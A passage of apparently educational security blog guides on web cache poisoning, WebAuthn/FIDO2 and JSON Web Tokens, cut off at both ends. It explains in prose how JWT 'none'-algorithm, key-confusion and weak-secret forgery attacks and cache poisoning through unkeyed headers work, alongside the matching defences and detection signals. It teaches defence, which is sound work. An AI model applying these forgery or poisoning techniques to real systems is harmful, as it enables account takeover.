| Typical fix | Align the key with response-affecting inputs | Do not cache authenticated or dynamic responses; match cache rules to content type |
In poisoning, the attacker pushes content out to the crowd. In deception, the attacker pulls a specific victim's private content into a cache they can then read. Both come from the cache and origin disagreeing about what may be stored and under what key, which is why they are cousins, but the mechanics and the fixes differ.
## Common mistakes and misconceptions
**Treating a reflected header as harmless because it needs a header most users never send.** Through a shared cache, the attacker sends the header once and everyone else receives the result without sending anything. The rarity of the input is irrelevant when the cache does the distribution.
**Assuming HTTPS prevents it.** Transport encryption protects data in transit. Cache poisoning happens at the application and cache layer, on content the cache is entitled to store and serve. The connection can be perfectly encrypted while the cached content is malicious.
**Testing only the crafted request.** Sending the header and seeing it reflected proves reflection, not poisoning. Without the follow-up clean request that receives the stored copy, you have not shown the response reaches other users, which is the entire risk.
**Fixing the reflection but leaving the input unkeyed.** Output encoding stops the XSS payload, which is worth doing, but an unkeyed input that still changes the response can enable redirects, resource loading, or denial of service. The durable fix addresses the key itself, so it covers every payload rather than the single one you happened to find.
**Forgetting intermediary caches.** Marking a response uncacheable at the origin does not help if a CDN or proxy in the path applies its own rules. Every cache in the chain has to agree, so the configuration has to be checked end to end.
## Detection signals
Cache poisoning is quiet by nature, but there are indicators worth watching in logs and monitoring.
- **Cached responses containing unexpected hosts or schemes.** Links, script sources, or redirects pointing at domains you do not own, served from cache, are a direct sign of a poisoned entry.
- **A spike in identical error responses served from cache for a normal URL.** This can indicate cache-key denial of service, where a crafted request made the origin error and the cache stored the error for a legitimate resource.
- **Requests carrying unusual forwarding or custom headers against cacheable paths.** Repeated probing with headers like the forwarded-host header on cacheable resources can precede a successful poisoning.
- **Mismatches between what the origin generated and what users report seeing.** When users receive content the origin logs do not show it producing for their request, an intermediary cache may be serving a stored, poisoned copy.
- **Discrepancies in cache hit and age headers around a resource.** Unusual patterns can reveal that an entry was populated by a request that should not have shaped it.
## How the technique became prominent
Caching has always carried the risk that a shared store could serve the wrong content, and the general idea of poisoning a cache is old. What changed is the depth of understanding of how ordinary request inputs feed into cached responses on the modern web.
Two shifts pushed the technique to the front. First, the web moved heavily toward layered caching, with content delivery networks and reverse proxies sitting in front of most large applications for performance. That put a shared cache in the path of nearly every request, which is the precondition the attack needs. Second, research into unkeyed inputs made it clear how many applications reflect headers like the forwarded-host header into links, redirects, and resources, while the caches in front of them ignore those headers when keying. The combination of a universal shared cache and a widespread reflection pattern turned a theoretical risk into a practical, repeatable one.
The framing around the cache key was the conceptual unlock. Once the attack is understood as a disagreement between what shapes the response and what the cache keys on, testing becomes systematic and defense becomes clear. That framing is why the modern treatment of cache poisoning centers on the key rather than on any single vulnerable header, and why the durable fixes all come back to aligning the key with the response.
## Frequently asked questions
**What is the difference between the cache key and the cache entry?**
The cache key is the fingerprint the cache computes from selected parts of a request to decide whether it already holds a matching response. The cache entry is the stored response itself. Two requests with the same key are treated as the same and served the same entry, which is why an input left out of the key can let one request's response be served to another.
**What is an unkeyed input?**
Any part of a request that changes the response the origin generates but is not included in the cache key. Forwarding headers, certain custom headers, and query parameters the cache strips are common examples. Unkeyed inputs are the raw material of cache poisoning, because they let two requests the cache considers identical produce different responses.
**Does HTTPS stop web cache poisoning?**
No. Encryption protects the connection, while cache poisoning targets the content a cache is allowed to store and serve. The transport can be fully secure while the cached response is attacker-shaped. The defense is at the cache and application layer, not the transport layer.
**How is this different from cross-site scripting?**
Cross-site scripting is about injecting script into a page. Cache poisoning is a delivery mechanism that can carry an XSS payload, among other effects. A reflected XSS bug normally harms only the user who clicks the crafted link. Routed through a shared cache, the same payload is served to everyone who requests the resource, with no link to click.
**What is the single most important defense?**
Making the cache key include everything that changes the response, or removing those inputs before the origin can react to them. If nothing unkeyed can alter a cached response, the primitive disappears. Stripping untrusted forwarding and custom headers at the edge is often the most direct way to achieve that.
**Can a CDN configuration alone cause this?**
Yes. A CDN that keys only on host and path while the origin varies its response on a header the CDN ignores creates the exact condition poisoning needs, without any bug in the application code. Cache configuration is part of the attack surface and has to be reviewed alongside the application.
**How does cache poisoning relate to request smuggling?**
HTTP request smuggling can force a poisoned entry into a cache even where the cache would not otherwise accept the attacker's input directly. A smuggled request desynchronizes how the front-end and back-end parse the stream, letting the attacker plant a response against a key that legitimate users will hit. The two techniques chain naturally.
Web cache poisoning weaponizes the very layer you added for speed, and it scales a single crafted request to everyone the cache serves. Attackers look for the unkeyed input that the origin still trusts. Our Exploit Intelligence dashboard tracks how these infrastructure-level techniques appear in real exploitation activity. Align your cache keys with everything that shapes the response, strip the headers the origin should never trust, and keep untrusted input out of cached content, and the cache goes back to serving pages instead of payloads.
## Related guides
- [HTTP Request Smuggling Explained](/http-request-smuggling-explained)
- [Host Header Injection Explained](/host-header-injection-explained)
- [HTTP Security Headers Reference](/http-security-headers-reference)
- [OWASP Top 10 Explained](/owasp-top-10-explained)
### Sources
- PortSwigger Web Security Academy: Web cache poisoning (PortSwigger): https://portswigger.net/web-security/web-cache-poisoning
- OWASP: Cache Poisoning (OWASP): https://owasp.org/www-community/attacks/Cache_Poisoning
- MITRE CWE-524: Use of Cache Containing Sensitive Information (MITRE): https://cwe.mitre.org/data/definitions/524.html
---
## WebAuthn Explained: The FIDO2 Standard Behind Passkeys
> How WebAuthn and FIDO2 work: authenticators, the sign-in ceremonies, attestation, and the roles behind passwordless login.
- URL: https://blog.pwnsy.com/webauthn-explained
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: intermediate
- Category: web-security
- Tags: webauthn, fido2, passwordless, authentication, ctap
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- WebAuthn is the W3C browser API that lets a website create and use public-key credentials, and it is the standard that makes passkeys and hardware security keys work.
- FIDO2 is the umbrella: WebAuthn is the browser-to-server half, and CTAP is the browser-to-authenticator half that talks to your device or security key.
- There are two ceremonies. Registration creates a key pair bound to the site's origin, and authentication proves the user holds the private key by signing a challenge.
- Attestation lets a relying party learn what kind of authenticator was used, which matters for high-assurance deployments but is optional for consumer login.
### Key Takeaways
- The three roles are the relying party (the website), the client (the browser), and the authenticator (the device or security key that holds the private key).
- Registration returns a public key and a credential id; authentication returns a signature over a server-issued challenge, counter, and origin data.
- Origin binding and the challenge are what make WebAuthn phishing-resistant and replay-resistant.
- Attestation formats let a relying party verify the authenticator's make and model, useful for regulated environments and optional elsewhere.
- The signature counter helps a relying party detect a cloned authenticator across logins.
Passkeys get the attention, but the standard doing the work underneath is WebAuthn, part of the FIDO2 project. If you build or operate authentication, understanding WebAuthn is what lets you reason about what is actually happening when a user taps a security key or confirms with a fingerprint. This guide covers the roles, the two ceremonies, attestation, and the properties that make the whole thing phishing-resistant.
## FIDO2: two halves of one system
FIDO2 is a joint effort of the W3C and the FIDO Alliance, and it has two components that fit together.
**WebAuthn** is the W3C standard: a JavaScript API in the browser that a website calls to register and use public-key credentials. It defines the messages between the website's server and the browser.
**CTAP**, the Client to Authenticator Protocol, is the FIDO Alliance standard for the other link: how the browser talks to the authenticator, whether that is a roaming USB or NFC security key or a platform authenticator built into the laptop or phone.
So a full login spans two hops. Server to browser is WebAuthn. Browser to authenticator is CTAP. Together they let a website ask a device to prove possession of a private key without any shared secret ever crossing the network.
## The three roles
Every WebAuthn flow has three participants, and keeping them straight makes everything else clear.
| Role | WebAuthn term | What it does |
|---|---|---|
| The website | Relying party | Stores public keys, issues challenges, verifies responses |
| The browser | Client | Mediates between the site and the authenticator, enforces origin |
| The device or key | Authenticator | Generates and holds private keys, signs challenges |
The **authenticator** is where the private key lives and never leaves. It comes in two shapes. A **platform authenticator** is built into a device, such as the secure hardware behind a laptop's fingerprint reader or a phone's face unlock. A **roaming authenticator** is a separate device, typically a USB, NFC, or Bluetooth security key you carry. The [best hardware security keys](/best-hardware-security-keys) are roaming authenticators.
## The registration ceremony
Registration is how a user enrols a new credential with a site. WebAuthn calls it a ceremony because it is a defined sequence across all three roles.
1. The relying party generates a random **challenge** and sends it to the browser, along with information about the site and the user, by calling `navigator.credentials.create()`.
2. The browser passes the request to the authenticator, including the **origin** it is running on.
3. The authenticator asks the user to consent, with a touch, biometric, or PIN (this is the **user gesture**, proof a human is present).
4. The authenticator generates a fresh key pair scoped to this relying party. It keeps the private key and returns the public key, a **credential id**, and an attestation object.
5. The browser forwards this to the relying party, which stores the public key and credential id against the user's account.
From that point the site holds a public key it can use to verify future logins, and the private key exists only inside the authenticator. Because the key pair is bound to the relying party's identifier and the origin, a credential created for one site cannot be used at another.
## The authentication ceremony
Authentication reuses that credential to log the user in. It mirrors registration but proves possession rather than creating a key.
1. The relying party generates a new random challenge and sends it, listing which credential ids it will accept, by calling `navigator.credentials.get()`.
2. The browser passes the challenge and origin to the authenticator.
3. The user performs the gesture to unlock the private key locally.
4. The authenticator **signs** a data structure that includes the challenge, the relying party id, a signature counter, and flags, then returns the signature.
5. The relying party verifies the signature against the stored public key and checks that the challenge, origin, and relying party id all match what it expects.
Two properties fall directly out of this. The fresh challenge each time makes the response impossible to replay, since last login's signature does not satisfy this login's challenge. And the origin and relying party id checks mean the signature is only valid for the real site, which is the root of phishing resistance. For the practical user view of this, see [Passkeys Explained](/passkeys-explained). For the signing primitive, see [How Digital Signatures Work](/how-digital-signatures-work).
Two small pieces of every WebAuthn ceremony carry most of the security. The random challenge, freshly generated per attempt, blocks replay. The origin check, enforced by the browser and folded into what the authenticator signs, blocks phishing. Neither depends on the user spotting anything, which is why the protection holds even against a convincing fake site.
## The signature counter
Each authenticator can maintain a **signature counter** that increments every time it produces an assertion. It returns the current value in each authentication response, and the relying party can store the last value it saw.
The point is clone detection. If a relying party sees a counter that went backward or failed to advance in a way that suggests two copies of the same credential in use, that is a signal the authenticator may have been cloned. It is not a complete defence on its own, and some authenticators keep the counter at zero, but where present it gives the relying party a way to notice duplication across logins.
## Attestation
Attestation answers a question the relying party may care about: what kind of authenticator is this. During registration, the authenticator can include an **attestation statement**, signed evidence about its make, model, and security properties, which the relying party can verify against known metadata.
There are several attestation formats and conveyance modes. In broad terms:
- **None.** No attestation is conveyed. Common and appropriate for consumer sign-in, where the site does not need to know the device brand.
- **Direct or basic.** The authenticator provides a certificate chain identifying its model, which the relying party checks against a metadata service.
- **Self.** The credential attests to itself without a separate trust anchor.
For most consumer services, requesting no attestation is the right call. It respects privacy and keeps enrollment simple. For regulated or high-assurance environments that must guarantee only approved hardware is used, attestation lets the relying party enforce an allowlist of authenticator models.
Requiring attestation adds friction and privacy concerns, and it only helps if you actually verify the statement against an authenticator metadata service and enforce a policy on the result. If your service is ordinary consumer login, request none. Reach for attestation when a compliance or assurance requirement genuinely needs to pin the hardware.
## What the relying party must verify
The server side is where WebAuthn deployments succeed or fail. A correct relying party, on each authentication, checks that the signature validates against the stored public key, that the challenge matches the one it issued, that the origin is exactly the expected one, that the relying party id hash matches, and that the user-presence flag is set. Skipping any of these weakens the guarantees the ceremony was designed to provide. Using a well-reviewed server library rather than hand-rolling this verification is strongly advised.
To see which authentication-stack components are currently under active exploitation, our Exploit Intelligence dashboard tracks live vulnerabilities across WebAuthn libraries, identity providers, and the surrounding login infrastructure, so you can prioritise the flaws that attackers are actually using.
## User verification and discoverable credentials
Two more WebAuthn concepts show up in real deployments. **User verification** is the difference between merely confirming a human is present (a touch) and confirming who that human is (a biometric or PIN). A relying party can require user verification when it wants the stronger check, or accept mere presence for lower-friction cases. The authenticator reports which it did through flags in the signed data, so the server can enforce its policy.
**Discoverable credentials**, sometimes called resident keys, are what make usernameless login possible. Instead of the site telling the authenticator which credential id to use, the authenticator stores enough to find the right credential itself, so the user can start from a bare login screen and the authenticator offers the matching account. This is the mechanism that lets a passkey sign you in without typing a username first. Non-discoverable credentials, by contrast, need the server to supply the credential id, which keeps nothing on the authenticator but requires the user to identify themselves before the ceremony.
## A walkthrough of what actually gets signed
The security properties become concrete once you look at the data the authenticator produces. During authentication the authenticator returns two blobs, and the relying party verifies a signature computed across them.
The first is the **authenticator data**. It begins with a hash of the relying party id, so the server can confirm the assertion was produced for its own identifier and not some other site. Next comes a **flags** byte, whose bits report whether the user was present (a touch happened) and whether the user was verified (a biometric or PIN succeeded), plus a bit that says whether attested credential data or extensions are included. After the flags comes the **signature counter**, the incrementing value used for clone detection.
The second is the **client data**. The browser assembles this and it records the type of ceremony (a create or a get), the exact **challenge** the server issued, and the **origin** the request ran on. The browser hashes this client data, and the authenticator signs the concatenation of the authenticator data and that hash with the private key.
So the single signature ties together four independent facts: the relying party id (through the authenticator data), the challenge and origin (through the client data hash), the user-presence and user-verification state (through the flags), and the counter. A verifier that checks all of them leaves an attacker no room. Change the origin and the client data hash changes, so the signature fails. Replay an old response and the challenge inside the client data does not match the one the server just issued. Strip the user-verification requirement and the flag byte gives the server a way to reject the attempt. This is why the guidance to use a reviewed server library matters so much: every one of these checks has to run, and skipping the origin comparison or accepting a stale challenge quietly reopens the exact holes the ceremony was built to close.
## How it evolved from U2F
WebAuthn did not appear from nothing. Its direct ancestor is U2F, the FIDO Alliance's Universal Second Factor, which let a site add a hardware key as a second step after a password. U2F keys signed a challenge bound to an origin, so they already delivered the phishing resistance that makes the family valuable. What U2F did not do was stand on its own. It was always a second factor sitting behind a password, and its browser interface was a separate, narrower API.
FIDO2 generalized that work into two cleaner pieces. WebAuthn became a first-class W3C browser standard that could act as a second factor or as a primary, passwordless credential. CTAP2, the newer version of the Client to Authenticator Protocol, added the ability for an authenticator to store discoverable credentials and to perform user verification with a PIN or biometric on the key itself. Older U2F authenticators still work under WebAuthn through the CTAP1 compatibility path, which is why a security key bought years ago usually still registers on a modern WebAuthn site. The through-line across the whole history is origin-bound public-key signatures. Passkeys are the most recent layer: the same WebAuthn credentials, made discoverable and synchronized across a user's devices through a platform account, so the key survives losing a single phone.
## WebAuthn compared with older authentication methods
It helps to place WebAuthn against the methods it is meant to replace or reinforce.
| Method | Shared secret on server | Phishing resistant | Replay resistant | Notes |
|---|---|---|---|---|
| Password | Yes, a hash | No | No | Reusable, guessable, breached in bulk |
| TOTP authenticator app | Yes, a seed | No | Within a time step | Code can be phished in real time |
| SMS one-time code | Yes, at the provider | No | Within the code's life | Vulnerable to SIM swap and interception |
| Push approval | No secret shared | Weakly | Yes | Prone to approval fatigue |
| WebAuthn | No, only a public key | Yes | Yes | Private key never leaves the authenticator |
The row that matters is the first column. Every method above WebAuthn leaves a secret on the server that a breach can expose and an attacker can phish. WebAuthn stores only a public key, which is useless to steal. That single structural difference is why it belongs at the top of an authentication roadmap rather than as one more code to type.
## Common mistakes and misconceptions
A few misunderstandings cause most of the trouble in real deployments.
**Treating the credential id as a secret.** The credential id is an identifier, not a secret. It travels in the clear and the server uses it to look up the matching public key. Security comes from the private key inside the authenticator, so there is no need to protect the credential id as though it were a password.
**Verifying the signature but not the origin.** A signature can be perfectly valid and still come from an attacker's relayed session if the server never checks that the origin in the client data is its own. Origin verification is the phishing defense, and it is the check most often dropped by hand-rolled server code.
**Assuming attestation is required.** Attestation identifies the make and model of the authenticator. It is optional and, for consumer login, usually undesirable because it adds friction and privacy exposure. A service that requests attestation without a metadata service to check it against and a policy to enforce gains nothing.
**Relying on the counter alone.** The signature counter is a clone-detection signal, not a primary control. Many platform authenticators and passkey providers keep the counter at zero, so a server that hard-fails on a non-advancing counter will lock out legitimate users. Treat it as one input to risk, not a gate.
**Confusing user presence with user verification.** A plain touch proves a human is present. A biometric or PIN proves which human. Requiring user verification when you only need presence adds friction, and accepting presence when you needed verification weakens the check. The flags byte reports which happened, so decide the policy deliberately and enforce it on the server.
## Operational and detection signals
WebAuthn removes the phishing and replay problems, and it introduces its own operational surface to watch.
Account recovery is the usual soft spot. If losing a device drops a user back to an email link or a knowledge question, an attacker will target that fallback rather than the credential. Recovery paths deserve the same scrutiny as the primary login, because they define the real strength of the account. Watch for a spike in recovery flows, which can indicate an attacker probing the weakest door.
On the server, log the authenticator metadata you do collect: the credential id used, the user-verification state reported, and the counter value. A sudden appearance of many new credential registrations on one account, a counter that jumps in a way inconsistent with the device, or authentications that stop presenting user verification when they used to, are all worth an alert. None is proof of compromise on its own, and each is a thread worth pulling in an investigation.
A phishing-resistant login sitting in front of an emailed reset link is only as strong as that link. Attackers move to the recovery flow the moment the front door is hardened. Register at least two authenticators per account where you can, so losing one device does not force a fall back to a weaker method, and hold recovery to the same standard as the credential it can replace.
## Frequently asked questions
**Is WebAuthn the same thing as a passkey?**
No. WebAuthn is the browser API and protocol. A passkey is a WebAuthn credential that is discoverable and, in most implementations, synchronized across a user's devices through a platform account. Every passkey uses WebAuthn, and not every WebAuthn credential is a passkey. A hardware security key bound to a single device is a WebAuthn credential that is not synchronized.
**Can a WebAuthn credential be phished?**
The credential itself cannot be phished, because the private key never leaves the authenticator and the signature is bound to the origin. An attacker who stands up a look-alike site cannot obtain a signature that validates for the real site, since the origin in the signed client data would be the attacker's domain. The residual risk moves to account recovery and to any weaker fallback method the account still allows.
**What happens if I lose my only authenticator?**
You fall back to whatever recovery the service offers. This is why registering more than one authenticator is the standard advice, and why synchronized passkeys exist: they let the credential survive the loss of a single device by living in a platform account across several devices. For high-value accounts, a second hardware key kept separately is a robust backup.
**Does WebAuthn work without a password at all?**
Yes. With discoverable credentials and user verification, WebAuthn can be the sole factor, since it proves possession of the private key and presence or identity of the user in one step. Many services still keep a password during a transition period, then retire it once passkey coverage is broad enough.
**Why does the relying party id matter so much?**
The relying party id scopes a credential to a site and is folded into what the authenticator signs. It is what stops a credential created for one domain from being used at another, and its hash inside the authenticator data lets the server confirm an assertion was meant for it. Setting it correctly, usually to the registrable domain, is essential to both the scoping and the phishing resistance.
**Is attestation a privacy problem?**
It can be. Attestation reveals the make and model of the authenticator, and in some formats a batch of devices shares a certificate to avoid identifying an individual unit. For consumer login, requesting no attestation avoids the concern entirely. Reach for it only where a compliance or assurance need genuinely requires pinning approved hardware.
**Can one authenticator hold credentials for many sites?**
Yes. An authenticator generates a separate key pair per relying party, so a single security key or platform authenticator can hold distinct credentials for a large number of sites, each scoped to its own origin and unusable anywhere else.
## Why it holds up
WebAuthn's strength is that its security does not rest on user vigilance or on a secret that can be phished. The private key never leaves the authenticator, the challenge blocks replay, and the origin binding means a credential only works at the site that created it. Layer WebAuthn under passkeys for everyday accounts and under hardware keys for the highest-value ones, and you replace the password with a login that resists the attacks passwords never could. It pairs naturally with the step-up controls in the [Two-Factor Authentication Guide](/two-factor-authentication-guide), and in most cases replaces them outright.
## Related guides
- [FIDO2 vs WebAuthn vs Passkeys](/fido2-vs-webauthn-vs-passkeys)
- [Passkeys Explained](/passkeys-explained)
- [Best Hardware Security Keys](/best-hardware-security-keys)
- [Two-Factor Authentication Guide](/two-factor-authentication-guide)
- [How Digital Signatures Work](/how-digital-signatures-work)
### Sources
- Web Authentication: An API for accessing Public Key Credentials (WebAuthn Level 2) (W3C): https://www.w3.org/TR/webauthn-2/
- FIDO2: WebAuthn and CTAP (FIDO Alliance): https://fidoalliance.org/fido2/
- OWASP: Authentication Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
---
## What Is a JWT? JSON Web Tokens Explained
> A plain guide to JSON Web Tokens: the header, payload, and signature, how stateless auth works, what the parts mean, and the pitfalls that bite teams.
- URL: https://blog.pwnsy.com/what-is-a-jwt
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: beginner
- Category: web-security
- Tags: jwt, authentication, tokens, web-security, sessions
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- A JWT is a compact, signed token that carries claims about a user or client as JSON, so a server can trust its contents without a database lookup.
- It has three parts separated by dots: a header, a payload, and a signature, each Base64URL-encoded.
- The signature is what makes a JWT trustworthy. Anyone can read the payload, but only the holder of the key can produce a valid signature.
- JWTs enable stateless authentication, which is convenient, but the same statelessness makes revocation and long lifetimes genuinely hard to get right.
### Key Takeaways
- A JWT is Base64URL-encoded, not encrypted. The payload is readable by anyone, so never put secrets in it.
- The signature covers the header and payload, so tampering with either invalidates the token, provided the server actually verifies it.
- Signing can be symmetric (HMAC, one shared secret) or asymmetric (RS256 or ES256, private key signs, public key verifies).
- The most notorious JWT bugs come from trusting the token's own `alg` header, including the `none` algorithm and key confusion attacks.
- Because a valid JWT is accepted until it expires, keep access-token lifetimes short and design a revocation strategy up front.
Log in to almost any modern web application and somewhere behind the scenes a JSON Web Token is doing the work. It is the string that travels with your requests to prove you are still the person who logged in a few minutes ago. JWTs are everywhere because they are simple, portable, and let a server verify a claim without asking a database. Those same properties are also where teams get into trouble.
This guide takes a JWT apart, shows what each piece does, explains the stateless model it enables, and walks through the pitfalls that show up in real breaches.
## The shape of a token
A JWT is one long string with two dots in it. It looks like this:
```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0IiwibmFtZSI6IkFsaWNlIn0.dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk
```
Those two dots split it into three parts: `header.payload.signature`. Each part is Base64URL-encoded, which is a URL-safe variant of Base64. Decoding the first two parts gives you plain JSON. This matters and it surprises people: the contents are encoded, not encrypted. Anyone who holds the token can read the header and payload.
### The header
The header is a small JSON object that describes the token itself. Two fields matter most:
```json
{ "alg": "HS256", "typ": "JWT" }
```
`typ` states that this is a JWT. `alg` names the algorithm used to produce the signature, for example `HS256` (HMAC with SHA-256) or `RS256` (RSA signature with SHA-256). Hold on to the `alg` field. It is convenient and it is also the source of the most famous JWT attacks.
### The payload
The payload carries the **claims**, the statements the token is making. Claims come in registered, public, and private varieties. The registered ones defined by the standard are the important ones to know:
| Claim | Meaning |
|---|---|
| `iss` | Issuer: who created the token |
| `sub` | Subject: who the token is about, often the user id |
| `aud` | Audience: who the token is intended for |
| `exp` | Expiry time: after this, reject the token |
| `nbf` | Not before: do not accept it before this time |
| `iat` | Issued at: when it was created |
| `jti` | A unique id for the token |
Alongside these you can add your own claims, such as a role or a tenant id. Because the payload is only encoded, never place passwords, API keys, or anything else sensitive in it. Treat everything in a JWT payload as public.
### The signature
The signature is what makes the whole thing trustworthy. It is computed over the encoded header and encoded payload together, using the algorithm named in the header and a key. In pseudocode:
```
signature = HMAC-SHA256(base64url(header) + "." + base64url(payload), secret)
```
Because the signature covers both the header and the payload, changing a single character in either one makes the signature no longer match. A server that verifies the signature will reject a tampered token. The security of a JWT rests entirely on the server actually performing that check with the right key. For the underlying keyed-hash mechanism, see [What Is HMAC](/what-is-hmac).
A standard signed JWT hides nothing. The payload is Base64URL, which anyone can decode in a browser console. The signature stops tampering, not reading. If you need the contents to be secret, that is a separate mechanism (JWE), not a plain JWT.
## Signing: shared secret or key pair
There are two families of signing algorithm, and the difference decides who can create valid tokens.
**Symmetric (HMAC, for example HS256)** uses a single shared secret. Whoever holds that secret can both create and verify tokens. This is simple and fast, and it fits a single service that both issues and checks its own tokens. The risk is that the same key does both jobs, so anyone who can verify can also forge.
**Asymmetric (for example RS256 or ES256)** uses a key pair. The issuer signs with a private key, and any number of services verify with the matching public key. The public key cannot create tokens, only check them. This is the right model when one authorization server issues tokens that many independent services must trust, which is common in OpenID Connect. See [OAuth 2.0 Explained](/oauth-2-explained) for where these tokens fit in a full login flow.
## Stateless authentication
The reason JWTs took over is the stateless session model. In the classic approach, a server stores session data and hands the browser a random session id; every request, the server looks that id up. With JWTs, the token itself carries the claims, signed, so the server can verify the request by checking the signature and the expiry, with no lookup.
That buys real advantages. It scales horizontally with ease, because any server instance holding the verification key can validate a request without shared session storage. It works cleanly across services and domains. It removes a database round trip from every request.
The cost is the flip side of the same coin. A signed token is valid until it expires, and the server is not consulting any store that could say "this user logged out" or "this account is suspended". Revoking a JWT before its expiry is the hard problem of the whole model.
The usual answer is a two-token pattern. Issue a short-lived **access token**, the JWT that rides along on API calls, and a longer-lived **refresh token** that the client exchanges for a new access token when the old one expires. The refresh token is stored and checked server-side, so you can revoke it: delete it, and the user cannot mint new access tokens, and the last short-lived one dies on its own within minutes. This gives you the scaling benefit of stateless access tokens while keeping a genuine off switch through the refresh path. The design decision, and it is a real one, is how short to make the access token: shorter means a smaller theft window but more refresh traffic.
Keep access-token lifetimes short, on the order of minutes, and pair them with longer-lived refresh tokens you can revoke server-side. That way a stolen access token has a small window, and you retain a real off switch through the refresh flow. Decide this before launch, not after an incident.
## The pitfalls that cause breaches
JWT problems cluster around a handful of recurring mistakes.
**Trusting the `alg` header.** The token tells the server which algorithm to use, and naive verification believes it. Two classic attacks follow. The `none` algorithm, where an attacker sets `alg` to `none`, strips the signature, and a lax library accepts an unsigned token. And key confusion, where a server expecting RS256 is tricked into treating the public key as an HMAC secret by switching `alg` to HS256. The fix is to fix the accepted algorithm on the server and never derive it from the token.
**Not verifying at all, or verifying weakly.** Decoding a JWT and reading its claims without checking the signature accepts anything anyone sends. Always verify the signature, the issuer, the audience, and the expiry.
**Long or missing expiry.** A token with no `exp`, or a very long one, is a credential that lives forever if stolen. Set short lifetimes.
**Secrets in the payload.** Covered above, and still common. The payload is public.
**Weak HMAC secrets.** A short or guessable HS256 secret can be brute-forced offline, letting an attacker forge valid tokens. Use a long, random secret.
**Storing the token unsafely in the browser.** A JWT is only as safe as the place you keep it. Put an access token in `localStorage` and any cross-site scripting flaw on your page can read it and walk off with a valid credential. Keep it in a cookie marked `HttpOnly`, `Secure`, and `SameSite`, and script cannot read it, which shrinks the blast radius of an injection considerably. This is a browser-side decision that people often make by accident, so make it on purpose. A stolen token is a live session until it expires, which loops back to keeping lifetimes short and is a common path to [session hijacking](/session-hijacking-explained).
For a fuller treatment of these attacks, see [JWT Attacks Explained](/jwt-attacks-explained). To see which JWT and token-handling library flaws are currently being exploited in the wild, our Exploit Intelligence dashboard tracks live vulnerabilities across authentication components so you can prioritise the ones under real pressure.
## Using JWTs safely
The short version fits on one hand. Verify every token's signature with a server-fixed algorithm. Check `exp`, `iss`, and `aud`, along with the signature. Keep access tokens short and back them with revocable refresh tokens. Put nothing secret in the payload. Use a strong secret or a proper key pair. Do that, and the JWT does exactly the job it is good at: proving, cheaply and statelessly, that a request comes from someone who really logged in.
## Decoding a token by hand
The best way to internalise how little a signed JWT hides is to take one apart. The example string near the top of this guide has three dot-separated parts. The first part decodes from Base64URL to the JSON header, which reads as an object with `alg` set to `HS256` and `typ` set to `JWT`. The second part decodes to the payload, a JSON object with a subject claim and a name claim. Neither decode step requires any key or secret. Any browser console, any command-line tool, any small script can turn those first two segments back into readable JSON in an instant.
That is the whole point of the "encoded, not encrypted" warning made concrete. Base64URL is a reversible transport encoding whose only job is to make binary data safe to carry in a URL or header. It scrambles nothing. If you drop a customer's email, a role, or an internal identifier into the payload, you have effectively published it to anyone who ever holds the token, including the browser it sits in and any log that records it.
The third segment, the signature, is where a key finally enters. To verify an `HS256` token, the server recomputes the HMAC over the exact bytes of the encoded header, a dot, and the encoded payload, using its secret, then compares the result to the signature segment. If a single character of the header or payload changed in transit, the recomputed value will not match and verification fails. The signature does not conceal the contents; it proves that the contents have not been altered since they were signed and that they were signed by a holder of the key. Reading and trusting are separate operations, and a JWT gives you strong assurance of the second while offering none of the first.
Walking through the decode also clarifies why the order of checks matters. A library that decodes the payload and returns its claims before, or instead of, verifying the signature hands you attacker-controlled data dressed up as trusted claims. The claims are only meaningful after the signature, the algorithm, the issuer, the audience, and the expiry have all been checked. Decoding is trivial; verifying is the security step.
## The attacks, mechanism by mechanism
The famous JWT failures are worth understanding at the level of what the server is tricked into doing, because the pattern is the same each time: the server trusts something the attacker controls.
The **`none` algorithm attack** exploits a server that reads the algorithm from the token. An attacker takes a valid token, changes the header's `alg` to `none`, and removes the signature entirely. A library that honours the header's instruction sees `none`, concludes that no signature is required, and accepts the token as authentic. The attacker can now put any claims they like in the payload, including a different subject or an elevated role, and the server treats them as verified. The root cause is that the server let the token dictate its own verification rules.
The **key confusion attack**, sometimes called the algorithm-substitution attack, targets a server that verifies asymmetric tokens. Suppose the server issues `RS256` tokens, signing with a private key and verifying with the matching public key, which is not a secret. An attacker crafts a token with the header's `alg` changed to `HS256` and signs it using the public key as if it were an HMAC secret. A naive library, seeing `HS256`, calls its HMAC verification routine and reaches for the configured key, which for RSA verification is the public key. Because the attacker used that same public value to sign, the HMAC matches, and the forged token passes. The server's own public key becomes the forging secret. Both attacks share a fix: pin the accepted algorithm on the server side and never derive it from the token.
**Weak HMAC secrets** turn a well-designed scheme into a crackable one. If a service signs with `HS256` using a short or dictionary-word secret, an attacker who captures one valid token can run an offline attack, guessing candidate secrets, recomputing the HMAC, and checking for a match, exactly the offline-guessing shape that plagues weak passwords. Once they recover the secret, they can forge any token they want. A long, random, high-entropy secret makes this infeasible.
**Missing or unchecked claims** are quieter but just as damaging. A server that verifies the signature but ignores `exp` accepts expired tokens forever. One that ignores `aud` may accept a token that was legitimately issued for a different service. One that ignores `iss` may accept a validly signed token from an issuer it never intended to trust. The signature proves integrity; the registered claims are what bind the token to a purpose, a lifetime, and an audience, and skipping them defeats their reason for existing.
Almost every serious JWT bug reduces to one sentence: the server trusted a value the attacker controlled. The `alg` header, the signature's presence, the claims inside the payload, all of these arrive from the client and mean nothing until the server has independently decided which algorithm and key it will accept and then checked the token against that decision. Fix the algorithm on the server, verify with the correct key, and validate the standard claims, and the entire family of forgery attacks closes at once.
## JWTs compared with server-side sessions
